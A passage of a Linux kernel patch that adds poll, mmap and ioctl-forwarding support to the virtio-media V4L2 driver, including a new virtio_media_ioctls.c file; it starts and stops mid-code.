+ * @file: file of the session to poll.
+ * @wait: poll table to wait on.
+ */
+static __poll_t virtio_media_device_poll(struct file *file, poll_table *wait)
+{
+	struct virtio_media_session *session =
+		fh_to_session(file->private_data);
+	enum v4l2_buf_type capture_type =
+		session->uses_mplane ? V4L2_BUF_TYPE_VIDEO_CAPTURE_MPLANE :
+				       V4L2_BUF_TYPE_VIDEO_CAPTURE;
+	enum v4l2_buf_type output_type =
+		session->uses_mplane ? V4L2_BUF_TYPE_VIDEO_OUTPUT_MPLANE :
+				       V4L2_BUF_TYPE_VIDEO_OUTPUT;
+	struct virtio_media_queue_state *capture_queue =
+		&session->queues[capture_type];
+	struct virtio_media_queue_state *output_queue =
+		&session->queues[output_type];
+	__poll_t req_events = poll_requested_events(wait);
+	__poll_t rc = 0;
+
+	poll_wait(file, &session->dqbuf_wait, wait);
+	poll_wait(file, &session->fh.wait, wait);
+
+	mutex_lock(&session->queues_lock);
+	if (req_events & (EPOLLIN | EPOLLRDNORM)) {
+		if (!capture_queue->streaming ||
+		    (capture_queue->queued_bufs == 0 &&
+		     list_empty(&capture_queue->pending_dqbufs)))
+			rc |= EPOLLERR;
+		else if (!list_empty(&capture_queue->pending_dqbufs))
+			rc |= EPOLLIN | EPOLLRDNORM;
+	}
+	if (req_events & (EPOLLOUT | EPOLLWRNORM)) {
+		if (!output_queue->streaming)
+			rc |= EPOLLERR;
+		else if (output_queue->queued_bufs <
+			 output_queue->allocated_bufs)
+			rc |= EPOLLOUT | EPOLLWRNORM;
+	}
+	mutex_unlock(&session->queues_lock);
+
+	if (v4l2_event_pending(&session->fh))
+		rc |= EPOLLPRI;
+
+	return rc;
+}
+
+static void virtio_media_vma_close_locked(struct vm_area_struct *vma)
+{
+	struct virtio_media *vv = vma->vm_private_data;
+	struct virtio_media_cmd_munmap *cmd_munmap = &vv->cmd.munmap;
+	struct virtio_media_resp_munmap *resp_munmap = &vv->resp.munmap;
+	struct scatterlist cmd_sg = {}, resp_sg = {};
+	struct scatterlist *sgs[2] = { &cmd_sg, &resp_sg };
+	int ret;
+
+	sg_set_buf(&cmd_sg, cmd_munmap, sizeof(*cmd_munmap));
+	sg_mark_end(&cmd_sg);
+
+	sg_set_buf(&resp_sg, resp_munmap, sizeof(*resp_munmap));
+	sg_mark_end(&resp_sg);
+
+	cmd_munmap->hdr.cmd = VIRTIO_MEDIA_CMD_MUNMAP;
+	cmd_munmap->driver_addr =
+		(vma->vm_pgoff << PAGE_SHIFT) - vv->mmap_region.addr;
+	ret = virtio_media_send_command(vv, sgs, 1, 1, sizeof(*resp_munmap),
+					NULL);
+	if (ret < 0) {
+		v4l2_err(&vv->v4l2_dev, "host failed to unmap buffer: %d\n",
+			 ret);
+	}
+}
+
+/**
+ * virtio_media_vma_close() - Close a MMAP buffer mapping.
+ * @vma: VMA of the mapping to close.
+ *
+ * Inform the host that a previously created MMAP mapping is no longer needed
+ * and can be removed.
+ */
+static void virtio_media_vma_close(struct vm_area_struct *vma)
+{
+	struct virtio_media *vv = vma->vm_private_data;
+
+	mutex_lock(&vv->vlock);
+	virtio_media_vma_close_locked(vma);
+	mutex_unlock(&vv->vlock);
+}
+
+static const struct vm_operations_struct virtio_media_vm_ops = {
+	.close = virtio_media_vma_close,
+};
+
+/**
+ * virtio_media_device_mmap() - Perform a mmap request from userspace.
+ * @file: opened file of the session to map for.
+ * @vma: VM area struct describing the desired mapping.
+ *
+ * This requests the host to map a MMAP buffer for us, so we can then make that
+ * mapping visible into user-space address space.
+ */
+static int virtio_media_device_mmap(struct file *file,
+				    struct vm_area_struct *vma)
+{
+	struct video_device *video_dev = video_devdata(file);
+	struct virtio_media *vv = to_virtio_media(video_dev);
+	struct virtio_media_session *session =
+		fh_to_session(file->private_data);
+	struct virtio_media_cmd_mmap *cmd_mmap = &session->cmd.mmap;
+	struct virtio_media_resp_mmap *resp_mmap = &session->resp.mmap;
+	struct scatterlist cmd_sg = {}, resp_sg = {};
+	struct scatterlist *sgs[2] = { &cmd_sg, &resp_sg };
+	int ret;
+
+	if (!(vma->vm_flags & VM_SHARED))
+		return -EINVAL;
+	if (!(vma->vm_flags & (VM_READ | VM_WRITE)))
+		return -EINVAL;
+
+	mutex_lock(&vv->vlock);
+
+	cmd_mmap->hdr.cmd = VIRTIO_MEDIA_CMD_MMAP;
+	cmd_mmap->session_id = session->id;
+	cmd_mmap->flags =
+		(vma->vm_flags & VM_WRITE) ? VIRTIO_MEDIA_MMAP_FLAG_RW_MASK : 0;
+	cmd_mmap->offset = vma->vm_pgoff << PAGE_SHIFT;
+
+	sg_set_buf(&cmd_sg, cmd_mmap, sizeof(*cmd_mmap));
+	sg_mark_end(&cmd_sg);
+
+	sg_set_buf(&resp_sg, resp_mmap, sizeof(*resp_mmap));
+	sg_mark_end(&resp_sg);
+
+	/*
+	 * The host performs reference counting and is smart enough to return
+	 * the same guest physical address if this is called several times on
+	 * the same
+	 * buffer.
+	 */
+	ret = virtio_media_send_command(vv, sgs, 1, 1, sizeof(*resp_mmap),
+					NULL);
+	if (ret < 0)
+		goto end;
+
+	vma->vm_private_data = vv;
+	/*
+	 * Keep the guest address at which the buffer is mapped since we will
+	 * use that to unmap.
+	 */
+	vma->vm_pgoff = (resp_mmap->driver_addr + vv->mmap_region.addr) >>
+			PAGE_SHIFT;
+
+	/*
+	 * We cannot let the mapping be larger than the buffer.
+	 */
+	if (vma->vm_end - vma->vm_start > PAGE_ALIGN(resp_mmap->len)) {
+		dev_dbg(&video_dev->dev,
+			"invalid MMAP, as it would overflow buffer length\n");
+		virtio_media_vma_close_locked(vma);
+		ret = -EINVAL;
+		goto end;
+	}
+
+	ret = io_remap_pfn_range(vma, vma->vm_start, vma->vm_pgoff,
+				 vma->vm_end - vma->vm_start,
+				 vma->vm_page_prot);
+	if (ret)
+		goto end;
+
+	vma->vm_ops = &virtio_media_vm_ops;
+
+end:
+	mutex_unlock(&vv->vlock);
+	return ret;
+}
+
 static const struct v4l2_file_operations virtio_media_fops = {
 	.owner = THIS_MODULE,
 	.open = virtio_media_device_open,
 	.release = virtio_media_device_close,
+	.poll = virtio_media_device_poll,
+	.unlocked_ioctl = virtio_media_device_ioctl,
+	.mmap = virtio_media_device_mmap,
 };
 
 static int virtio_media_probe(struct virtio_device *virtio_dev)
@@ -654,9 +844,14 @@ static int virtio_media_probe(struct virtio_device *virtio_dev)
 	vv->eventq = vqs[1];
 	INIT_WORK(&vv->eventq_work, virtio_media_event_work);
 
+	/* Get MMAP buffer mapping SHM region */
+	virtio_get_shm_region(virtio_dev, &vv->mmap_region,
+			      VIRTIO_MEDIA_SHM_MMAP);
+
 	vd = &vv->video_dev;
 	vd->v4l2_dev = &vv->v4l2_dev;
 	vd->vfl_type = VFL_TYPE_VIDEO;
+	vd->ioctl_ops = &virtio_media_ioctl_ops;
 	vd->fops = &virtio_media_fops;
 	vd->release = video_device_release_empty;
 	strscpy(vd->name, "virtio-media", sizeof(vd->name));
diff --git a/drivers/media/virtio/virtio_media_ioctls.c b/drivers/media/virtio/virtio_media_ioctls.c
new file mode 100644
index 000000000..f0b82b5ec
--- /dev/null
+++ b/drivers/media/virtio/virtio_media_ioctls.c
@@ -0,0 +1,1319 @@
+// SPDX-License-Identifier: BSD-3-Clause OR GPL-2.0+
+
+/*
+ * Ioctl implementations for the virtio-media driver.
+ *
+ * Copyright (c) 2024-2026 Google LLC.
+ */
+
+#include <linux/mutex.h>
+#include <linux/videodev2.h>
+#include <linux/virtio_config.h>
+#include <linux/vmalloc.h>
+#include <media/v4l2-event.h>
+#include <media/v4l2-ioctl.h>
+
+#include "scatterlist_builder.h"
+#include "virtio_media.h"
+
+/**
+ * virtio_media_send_r_ioctl() - Send a read-only ioctl to the device.
+ * @fh: file handler of the session doing the ioctl.
+ * @ioctl: ``VIDIOC_*`` ioctl code.
+ * @ioctl_data: pointer to the ioctl payload.
+ * @ioctl_data_len: length in bytes of the ioctl payload.
+ *
+ * Send an ioctl that has no driver payload, but expects a response from the
+ * host (i.e. an ioctl specified with ``_IOR``).
+ */
+static int virtio_media_send_r_ioctl(struct v4l2_fh *fh, u32 ioctl,
+				     void *ioctl_data, size_t ioctl_data_len)
+{
+	struct video_device *video_dev = fh->vdev;
+	struct virtio_media *vv = to_virtio_media(video_dev);
+	struct virtio_media_session *session = fh_to_session(fh);
+	struct scatterlist *sgs[3];
+	struct scatterlist_builder builder = {
+		.descs = session->command_sgs.sgl,
+		.num_descs = DESC_CHAIN_MAX_LEN,
+		.cur_desc = 0,
+		.shadow_buffer = session->shadow_buf,
+		.shadow_buffer_size = VIRTIO_SHADOW_BUF_SIZE,
+		.shadow_buffer_pos = 0,
+		.sgs = sgs,
+		.num_sgs = ARRAY_SIZE(sgs),
+		.cur_sg = 0,
+	};
+
+	/* Command descriptor */
+	int ret = scatterlist_builder_add_ioctl_cmd(&builder, session, ioctl);
+
+	if (ret)
+		return ret;
+
+	/* Response descriptor */
+	ret = scatterlist_builder_add_ioctl_resp(&builder, session);
+	if (ret)
+		return ret;
+
+	/* Response payload */
+	ret = scatterlist_builder_add_data(&builder, ioctl_data,
+					   ioctl_data_len);
+	if (ret) {
+		v4l2_err(&vv->v4l2_dev,
+			 "failed to prepare command descriptor chain\n");
+		return ret;
+	}
+
+	ret = virtio_media_send_command(vv, sgs, 1, 2,
+					sizeof(struct virtio_media_resp_ioctl) +
+					ioctl_data_len, NULL);
+	if (ret < 0)
+		return ret;
+
+	ret = scatterlist_builder_retrieve_data(&builder, 2, ioctl_data);
+	if (ret) {
+		v4l2_err(&vv->v4l2_dev,
+			 "failed to retrieve response descriptor chain\n");
+		return ret;
+	}
+
+	return 0;
+}
+
+/**
+ * virtio_media_send_w_ioctl() - Send a write-only ioctl to the device.
+ * @fh: file handler of the session doing the ioctl.
+ * @ioctl: ``VIDIOC_*`` ioctl code.
+ * @ioctl_data: pointer to the ioctl payload.
+ * @ioctl_data_len: length in bytes of the ioctl payload.
+ *
+ * Send an ioctl that does not expect a reply beyond an error status (i.e. an
+ * ioctl specified with ``_IOW``) to the host.
+ */
+static int virtio_media_send_w_ioctl(struct v4l2_fh *fh, u32 ioctl,
+				     const void *ioctl_data,
+				     size_t ioctl_data_len)
+{
+	struct video_device *video_dev = fh->vdev;
+	struct virtio_media *vv = to_virtio_media(video_dev);
+	struct virtio_media_session *session = fh_to_session(fh);
+	struct scatterlist *sgs[3];
+	struct scatterlist_builder builder = {
+		.descs = session->command_sgs.sgl,
+		.num_descs = DESC_CHAIN_MAX_LEN,
+		.cur_desc = 0,
+		.shadow_buffer = session->shadow_buf,
+		.shadow_buffer_size = VIRTIO_SHADOW_BUF_SIZE,
+		.shadow_buffer_pos = 0,
+		.sgs = sgs,
+		.num_sgs = ARRAY_SIZE(sgs),
+		.cur_sg = 0,
+	};
+
+	/* Command descriptor */
+	int ret = scatterlist_builder_add_ioctl_cmd(&builder, session, ioctl);
+
+	if (ret)
+		return ret;
+
+	/* Command payload */
+	ret = scatterlist_builder_add_data(&builder, (void *)ioctl_data,
+					   ioctl_data_len);
+	if (ret) {
+		v4l2_err(&vv->v4l2_dev,
+			 "failed to prepare command descriptor chain\n");
+		return ret;
+	}
+
+	/* Response descriptor */
+	ret = scatterlist_builder_add_ioctl_resp(&builder, session);
+	if (ret)
+		return ret;
+
+	ret = virtio_media_send_command(vv, sgs, 2, 1,
+					sizeof(struct virtio_media_resp_ioctl),
+					NULL);
+	if (ret < 0)
+		return ret;
+
+	return 0;
+}
+
+/**
+ * virtio_media_send_wr_ioctl() - Send a read-write ioctl to the device.
+ * @fh: file handler of the session doing the ioctl.
+ * @ioctl: ``VIDIOC_*`` ioctl code.
+ * @ioctl_data: pointer to the ioctl payload.
+ * @ioctl_data_len: length in bytes of the ioctl payload.
+ * @minimum_resp_payload: minimum expected length of the response's payload.
+ *
+ * Sends an ioctl that expects a response of exactly the same size as the
+ * input (i.e. an ioctl specified with ``_IOWR``) to the host.
+ *
+ * This corresponds to what most V4L2 ioctls do. For instance
+ * ``VIDIOC_ENUM_FMT`` takes a partially-initialized &struct v4l2_fmtdesc
+ * and returns its filled version.
+ */
+static int virtio_media_send_wr_ioctl(struct v4l2_fh *fh, u32 ioctl,
+				      void *ioctl_data, size_t ioctl_data_len,
+				      size_t minimum_resp_payload)
+{
+	struct video_device *video_dev = fh->vdev;
+	struct virtio_media *vv = to_virtio_media(video_dev);
+	struct virtio_media_session *session = fh_to_session(fh);
+	struct scatterlist *sgs[4];
+	struct scatterlist_builder builder = {
+		.descs = session->command_sgs.sgl,
+		.num_descs = DESC_CHAIN_MAX_LEN,
+		.cur_desc = 0,
+		.shadow_buffer = session->shadow_buf,
+		.shadow_buffer_size = VIRTIO_SHADOW_BUF_SIZE,
+		.shadow_buffer_pos = 0,
+		.sgs = sgs,
+		.num_sgs = ARRAY_SIZE(sgs),
+		.cur_sg = 0,
+	};
+
+	/* Command descriptor */
+	int ret = scatterlist_builder_add_ioctl_cmd(&builder, session, ioctl);
+
+	if (ret)
+		return ret;
+
+	/* Command payload */
+	ret = scatterlist_builder_add_data(&builder, ioctl_data,
+					   ioctl_data_len);
+	if (ret) {
+		v4l2_err(&vv->v4l2_dev,
+			 "failed to prepare command descriptor chain\n");
+		return ret;
+	}
+
+	/* Response descriptor */
+	ret = scatterlist_builder_add_ioctl_resp(&builder, session);
+	if (ret)
+		return ret;
+
+	/* Response payload, same as command */
+	ret = scatterlist_builder_add_descriptor(&builder, 1);
+	if (ret)
+		return ret;
+
+	ret = virtio_media_send_command(vv, sgs, 2, 2,
+					sizeof(struct virtio_media_resp_ioctl) +
+						minimum_resp_payload,
+					NULL);
+	if (ret < 0)
+		return ret;
+
+	ret = scatterlist_builder_retrieve_data(&builder, 3, ioctl_data);
+	if (ret) {
+		v4l2_err(&vv->v4l2_dev,
+			 "failed to retrieve response descriptor chain\n");
+		return ret;
+	}
+
+	return 0;
+}
+
+/**
+ * virtio_media_send_buffer_ioctl() - Send an ioctl taking a buffer as
+ * parameter to the device.
+ * @fh: file handler of the session doing the ioctl.
+ * @ioctl: ``VIDIOC_*`` ioctl code.
+ * @b: &struct v4l2_buffer to be sent as the ioctl payload.
+ *
+ * Buffers can require an additional descriptor to send their planes array, and
+ * can have pointers to userspace memory hence this dedicated function.
+ */
+static int virtio_media_send_buffer_ioctl(struct v4l2_fh *fh, u32 ioctl,
+					  struct v4l2_buffer *b)
+{
+	struct video_device *video_dev = fh->vdev;
+	struct virtio_media *vv = to_virtio_media(video_dev);
+	struct virtio_media_session *session = fh_to_session(fh);
+	struct v4l2_plane *orig_planes = NULL;
+	struct scatterlist *sgs[64];
+	/*
+	 * End of the device-readable buffer SGs, to reuse in device-writable
+	 * section.
+	 */
+	size_t num_cmd_sgs;
+	size_t end_buf_sg;
+	struct scatterlist_builder builder = {
+		.descs = session->command_sgs.sgl,
+		.num_descs = DESC_CHAIN_MAX_LEN,
+		.cur_desc = 0,
+		.shadow_buffer = session->shadow_buf,
+		.shadow_buffer_size = VIRTIO_SHADOW_BUF_SIZE,
+		.shadow_buffer_pos = 0,
+		.sgs = sgs,
+		.num_sgs = ARRAY_SIZE(sgs),
+		.cur_sg = 0,
+	};
+	size_t resp_len;
+	int ret;
+	int i;
+
+	if (b->type > VIRTIO_MEDIA_LAST_QUEUE)
+		return -EINVAL;
+
+	if (V4L2_TYPE_IS_MULTIPLANAR(b->type))
+		orig_planes = b->m.planes;
+
+	/* Command descriptor */
+	ret = scatterlist_builder_add_ioctl_cmd(&builder, session, ioctl);
+	if (ret)
+		return ret;
+
+	/* Command payload (struct v4l2_buffer) */
+	ret = scatterlist_builder_add_buffer(&builder, b);
+	if (ret < 0)
+		return ret;
+
+	end_buf_sg = builder.cur_sg;
+	num_cmd_sgs = builder.cur_sg;
+
+	/* Response descriptor */
+	ret = scatterlist_builder_add_ioctl_resp(&builder, session);
+	if (ret)
+		return ret;
+
+	/* Response payload (same as input, but no userptr mapping) */
+	for (i = 1; i < end_buf_sg; i++) {
+		ret = scatterlist_builder_add_descriptor(&builder, i);
+		if (ret < 0)
+			return ret;
+	}
+
+	ret = virtio_media_send_command(vv, builder.sgs, num_cmd_sgs,
+					builder.cur_sg - num_cmd_sgs,
+					sizeof(struct virtio_media_resp_ioctl) +
+					sizeof(*b), &resp_len);
+	if (ret < 0)
+		return ret;
+
+	resp_len -= sizeof(struct virtio_media_resp_ioctl);
+
+	/* Make sure that the reply length covers our v4l2_buffer */
+	if (resp_len < sizeof(*b))
+		return -EINVAL;
+
+	ret = scatterlist_builder_retrieve_buffer(&builder, num_cmd_sgs + 1, b,
+						  orig_planes);
+	if (ret) {
+		v4l2_err(&vv->v4l2_dev,
+			 "failed to retrieve response descriptor chain\n");
+		return ret;
+	}
+
+	return 0;
+}
+
+/**
+ * virtio_media_send_ext_controls_ioctl() - Send an ioctl taking extended
+ * controls as parameters to the device.
+ * @fh: file handler of the session doing the ioctl.
+ * @ioctl: ``VIDIOC_*`` ioctl code.
+ * @ctrls: &struct v4l2_ext_controls to be sent as the ioctl payload.
+ *
+ * Queues an ioctl that sends a &struct v4l2_ext_controls to the host and
+ * receives an updated version.
+ *
+ * &struct v4l2_ext_controls has a pointer to an array of
+ * &struct v4l2_ext_control, and also potentially pointers to user-space memory
+ * that we need to map properly, hence the dedicated function.
+ */
+static int virtio_media_send_ext_controls_ioctl(struct v4l2_fh *fh, u32 ioctl,
+						struct v4l2_ext_controls *ctrls)
+{
+	struct video_device *video_dev = fh->vdev;
+	struct virtio_media *vv = to_virtio_media(video_dev);
+	struct virtio_media_session *session = fh_to_session(fh);
+	size_t num_cmd_sgs;
+	size_t end_ctrls_sg;
+	struct v4l2_ext_control *controls_backup = ctrls->controls;
+	const u32 num_ctrls = ctrls->count;
+	struct scatterlist *sgs[64];
+	struct scatterlist_builder builder = {
+		.descs = session->command_sgs.sgl,
+		.num_descs = DESC_CHAIN_MAX_LEN,
+		.cur_desc = 0,
+		.shadow_buffer = session->shadow_buf,
+		.shadow_buffer_size = VIRTIO_SHADOW_BUF_SIZE,
+		.shadow_buffer_pos = 0,
+		.sgs = sgs,
+		.num_sgs = ARRAY_SIZE(sgs),
+		.cur_sg = 0,
+	};
+	size_t resp_len = 0;
+	int i;
+
+	/* Command descriptor */
+	int ret = scatterlist_builder_add_ioctl_cmd(&builder, session, ioctl);
+
+	if (ret)
+		return ret;
+
+	/* v4l2_controls */
+	ret = scatterlist_builder_add_ext_ctrls(&builder, ctrls);
+	if (ret)
+		return ret;
+
+	end_ctrls_sg = builder.cur_sg;
+
+	ret = scatterlist_builder_add_ext_ctrls_userptrs(&builder, ctrls);
+	if (ret)
+		return ret;
+
+	num_cmd_sgs = builder.cur_sg;
+
+	/* Response descriptor */
+	ret = scatterlist_builder_add_ioctl_resp(&builder, session);
+	if (ret)
+		return ret;
+
+	/* Response payload (same as input but without userptrs) */
+	for (i = 1; i < end_ctrls_sg; i++) {
+		ret = scatterlist_builder_add_descriptor(&builder, i);
+		if (ret < 0)
+			return ret;
+	}
+
+	ret = virtio_media_send_command(vv, builder.sgs, num_cmd_sgs,
+					builder.cur_sg - num_cmd_sgs,
+					sizeof(struct virtio_media_resp_ioctl) +
+					sizeof(*ctrls),
+					&resp_len);
+
+	/* Just in case the host touched these. */
+	ctrls->controls = controls_backup;
+	if (ctrls->count != num_ctrls) {
+		v4l2_err(&vv->v4l2_dev,
+			 "device returned a number of controls different than the one submitted\n");
+	}
+	if (ctrls->count > num_ctrls)
+		return -ENOSPC;
+
+	/*
+	 * Even if we have received an error, we may need to read our payload
+	 * back.
+	 */
+	if (ret < 0 && resp_len >= sizeof(struct virtio_media_resp_ioctl) +
+					   sizeof(*ctrls)) {
+		/*
+		 * Deliberately ignore the error here as we want to return the
+		 * previous one.
+		 */
+		scatterlist_builder_retrieve_ext_ctrls(&builder,
+						       num_cmd_sgs + 1, ctrls);
+		return ret;
+	}
+
+	resp_len -= sizeof(struct virtio_media_resp_ioctl);
+
+	/* Make sure that the reply's length covers our v4l2_ext_controls */
+	if (resp_len < sizeof(*ctrls))
+		return -EINVAL;
+
+	ret = scatterlist_builder_retrieve_ext_ctrls(&builder, num_cmd_sgs + 1,
+						     ctrls);
+	if (ret)
+		return ret;
+
+	return 0;
+}
+
+/**
+ * virtio_media_clear_queue() - clear all pending buffers on a streamed-off
+ *                              queue.
+ * @session: session which the queue to clear belongs to.
+ * @queue: state of the queue to clear.
+ *
+ * Helper function to clear the list of buffers waiting to be dequeued on a
+ * queue that has just been streamed off.
+ */
+static void virtio_media_clear_queue(struct virtio_media_session *session,
+				     struct virtio_media_queue_state *queue)
+{
+	struct list_head *p, *n;
+	int i;
+
+	mutex_lock(&session->queues_lock);
+
+	list_for_each_safe(p, n, &queue->pending_dqbufs) {
+		struct virtio_media_buffer *dqbuf =
+			list_entry(p, struct virtio_media_buffer, list);
+
+		list_del(&dqbuf->list);
+	}
+
+	/* All buffers are now dequeued. */
+	for (i = 0; i < queue->allocated_bufs; i++)
+		queue->buffers[i].buffer.flags = 0;
+
+	queue->queued_bufs = 0;
+	queue->streaming = false;
+	queue->is_capture_last = false;
+
+	mutex_unlock(&session->queues_lock);
+}
+
+/*
+ * Macros suitable for defining ioctls with a constant size payload.
+ */
+
+#define SIMPLE_WR_IOCTL(name, ioctl, payload_t)                       \
+	static int virtio_media_##name(struct file *file, void *fh,   \
+				       payload_t *payload)            \
+	{                                                             \
+		struct v4l2_fh *vfh = file_to_v4l2_fh(file);          \
+		return virtio_media_send_wr_ioctl(vfh, ioctl, payload,\
+						  sizeof(*payload),   \
+						  sizeof(*payload));  \
+	}
+#define SIMPLE_R_IOCTL(name, ioctl, payload_t)                       \
+	static int virtio_media_##name(struct file *file, void *fh,  \
+				       payload_t *payload)           \
+	{                                                            \
+		struct v4l2_fh *vfh = file_to_v4l2_fh(file);         \
+		return virtio_media_send_r_ioctl(vfh, ioctl, payload,\
+						 sizeof(*payload));  \
+	}
+#define SIMPLE_W_IOCTL(name, ioctl, payload_t)                       \
+	static int virtio_media_##name(struct file *file, void *fh,  \
+				       payload_t *payload)           \
+	{                                                            \
+		struct v4l2_fh *vfh = file_to_v4l2_fh(file);         \
+		return virtio_media_send_w_ioctl(vfh, ioctl, payload,\
+						 sizeof(*payload));  \
+	}
+
+/*
+ * V4L2 ioctl handlers.
+ *
+ * Most of these functions just forward the ioctl to the host, for these we can
+ * use one of the SIMPLE_*_IOCTL macros. Exceptions that have their own
+ * standalone function follow.
+ */
+
+SIMPLE_WR_IOCTL(enum_fmt, VIDIOC_ENUM_FMT, struct v4l2_fmtdesc)
+SIMPLE_WR_IOCTL(g_fmt, VIDIOC_G_FMT, struct v4l2_format)
+SIMPLE_WR_IOCTL(s_fmt, VIDIOC_S_FMT, struct v4l2_format)
+SIMPLE_WR_IOCTL(try_fmt, VIDIOC_TRY_FMT, struct v4l2_format)
+SIMPLE_WR_IOCTL(enum_framesizes, VIDIOC_ENUM_FRAMESIZES,
+		struct v4l2_frmsizeenum)
+SIMPLE_WR_IOCTL(enum_frameintervals, VIDIOC_ENUM_FRAMEINTERVALS,
+		struct v4l2_frmivalenum)
+SIMPLE_WR_IOCTL(query_ext_ctrl, VIDIOC_QUERY_EXT_CTRL,
+		struct v4l2_query_ext_ctrl)
+SIMPLE_WR_IOCTL(s_dv_timings, VIDIOC_S_DV_TIMINGS, struct v4l2_dv_timings)
+SIMPLE_WR_IOCTL(g_dv_timings, VIDIOC_G_DV_TIMINGS, struct v4l2_dv_timings)
+SIMPLE_R_IOCTL(query_dv_timings, VIDIOC_QUERY_DV_TIMINGS,
+	       struct v4l2_dv_timings)
+SIMPLE_WR_IOCTL(enum_dv_timings, VIDIOC_ENUM_DV_TIMINGS,
+		struct v4l2_enum_dv_timings)
+SIMPLE_WR_IOCTL(dv_timings_cap, VIDIOC_DV_TIMINGS_CAP,
+		struct v4l2_dv_timings_cap)
+SIMPLE_WR_IOCTL(enuminput, VIDIOC_ENUMINPUT, struct v4l2_input)
+SIMPLE_WR_IOCTL(querymenu, VIDIOC_QUERYMENU, struct v4l2_querymenu)
+SIMPLE_WR_IOCTL(enumoutput, VIDIOC_ENUMOUTPUT, struct v4l2_output)
+SIMPLE_WR_IOCTL(enumaudio, VIDIOC_ENUMAUDIO, struct v4l2_audio)
+SIMPLE_R_IOCTL(g_audio, VIDIOC_G_AUDIO, struct v4l2_audio)
+SIMPLE_W_IOCTL(s_audio, VIDIOC_S_AUDIO, const struct v4l2_audio)
+SIMPLE_WR_IOCTL(enumaudout, VIDIOC_ENUMAUDOUT, struct v4l2_audioout)
+SIMPLE_R_IOCTL(g_audout, VIDIOC_G_AUDOUT, struct v4l2_audioout)
+SIMPLE_W_IOCTL(s_audout, VIDIOC_S_AUDOUT, const struct v4l2_audioout)
+SIMPLE_WR_IOCTL(g_modulator, VIDIOC_G_MODULATOR, struct v4l2_modulator)
+SIMPLE_W_IOCTL(s_modulator, VIDIOC_S_MODULATOR, const struct v4l2_modulator)
+SIMPLE_WR_IOCTL(g_selection, VIDIOC_G_SELECTION, struct v4l2_selection)
+SIMPLE_WR_IOCTL(s_selection, VIDIOC_S_SELECTION, struct v4l2_selection)
+SIMPLE_R_IOCTL(g_enc_index, VIDIOC_G_ENC_INDEX, struct v4l2_enc_idx)
+SIMPLE_WR_IOCTL(encoder_cmd, VIDIOC_ENCODER_CMD, struct v4l2_encoder_cmd)
+SIMPLE_WR_IOCTL(try_encoder_cmd, VIDIOC_TRY_ENCODER_CMD,
+		struct v4l2_encoder_cmd)
+SIMPLE_WR_IOCTL(try_decoder_cmd, VIDIOC_TRY_DECODER_CMD,
+		struct v4l2_decoder_cmd)
+SIMPLE_WR_IOCTL(g_parm, VIDIOC_G_PARM, struct v4l2_streamparm)
+SIMPLE_WR_IOCTL(s_parm, VIDIOC_S_PARM, struct v4l2_streamparm)
+SIMPLE_R_IOCTL(g_std, VIDIOC_G_STD, v4l2_std_id)
+SIMPLE_R_IOCTL(querystd, VIDIOC_QUERYSTD, v4l2_std_id)
+SIMPLE_WR_IOCTL(enumstd, VIDIOC_ENUMSTD, struct v4l2_standard)
+SIMPLE_WR_IOCTL(g_tuner, VIDIOC_G_TUNER, struct v4l2_tuner)
+SIMPLE_W_IOCTL(s_tuner, VIDIOC_S_TUNER, const struct v4l2_tuner)
+SIMPLE_WR_IOCTL(g_frequency, VIDIOC_G_FREQUENCY, struct v4l2_frequency)
+SIMPLE_W_IOCTL(s_frequency, VIDIOC_S_FREQUENCY, const struct v4l2_frequency)
+SIMPLE_WR_IOCTL(enum_freq_bands, VIDIOC_ENUM_FREQ_BANDS,
+		struct v4l2_frequency_band)
+SIMPLE_WR_IOCTL(g_sliced_vbi_cap, VIDIOC_G_SLICED_VBI_CAP,
+		struct v4l2_sliced_vbi_cap)
+SIMPLE_W_IOCTL(s_hw_freq_seek, VIDIOC_S_HW_FREQ_SEEK,
+	       const struct v4l2_hw_freq_seek)
+
+/*
+ * QUERYCAP is handled by reading the configuration area.
+ */
+
+static int virtio_media_querycap(struct file *file, void *fh,
+				 struct v4l2_capability *cap)
+{
+	struct video_device *video_dev = video_devdata(file);
+	struct virtio_media *vv = to_virtio_media(video_dev);
+
+	strscpy(cap->bus_info, "platform:virtio-media");
+	strscpy(cap->driver, VIRTIO_MEDIA_DEFAULT_DRIVER_NAME);
+
+	virtio_cread_bytes(vv->virtio_dev, 8, cap->card, sizeof(cap->card));
+
+	cap->capabilities = video_dev->device_caps | V4L2_CAP_DEVICE_CAPS;
+	cap->device_caps = video_dev->device_caps;
+
+	return 0;
+}
+
+/*
+ * Extended control ioctls are handled mostly identically.
+ */
+
+static int virtio_media_g_ext_ctrls(struct file *file, void *fh,
+				    struct v4l2_ext_controls *ctrls)
+{
+	struct v4l2_fh *vfh = file_to_v4l2_fh(file);
+
+	return virtio_media_send_ext_controls_ioctl(vfh, VIDIOC_G_EXT_CTRLS,
+						    ctrls);
+}
+
+static int virtio_media_s_ext_ctrls(struct file *file, void *fh,
+				    struct v4l2_ext_controls *ctrls)
+{
+	struct v4l2_fh *vfh = file_to_v4l2_fh(file);
+
+	return virtio_media_send_ext_controls_ioctl(vfh, VIDIOC_S_EXT_CTRLS,
+						    ctrls);
+}
+
+static int virtio_media_try_ext_ctrls(struct file *file, void *fh,
+				      struct v4l2_ext_controls *ctrls)
+{
+	struct v4l2_fh *vfh = file_to_v4l2_fh(file);
+
+	return virtio_media_send_ext_controls_ioctl(vfh, VIDIOC_TRY_EXT_CTRLS,
+						    ctrls);
+}
+
+/*
+ * Subscribe/unsubscribe from an event.
+ */
+
+static int
+virtio_media_subscribe_event(struct v4l2_fh *fh,
+			     const struct v4l2_event_subscription *sub)
+{
+	struct video_device *video_dev = fh->vdev;
+	struct virtio_media *vv = to_virtio_media(video_dev);
+	int ret;
+
+	/* First subscribe to the event in the guest. */
+	switch (sub->type) {
+	case V4L2_EVENT_SOURCE_CHANGE:
+		ret = v4l2_src_change_event_subscribe(fh, sub);
+		break;
+	default:
+		ret = v4l2_event_subscribe(fh, sub, 1, NULL);
+		break;
+	}
+	if (ret)
+		return ret;
+
+	/* Then ask the host to signal us these events. */
+	ret = virtio_media_send_w_ioctl(fh, VIDIOC_SUBSCRIBE_EVENT, sub,
+					sizeof(*sub));
+	if (ret < 0) {
+		v4l2_event_unsubscribe(fh, sub);
+		return ret;
+	}
+
+	/*
+	 * Subscribing to an event may result in that event being signaled
+	 * immediately. Process all pending events to make sure we don't
+	 * miss it.
+	 */
+	if (sub->flags & V4L2_EVENT_SUB_FL_SEND_INITIAL)
+		virtio_media_process_events(vv);
+
+	return 0;
+}
+
+static int
+virtio_media_unsubscribe_event(struct v4l2_fh *fh,
+			       const struct v4l2_event_subscription *sub)
+{
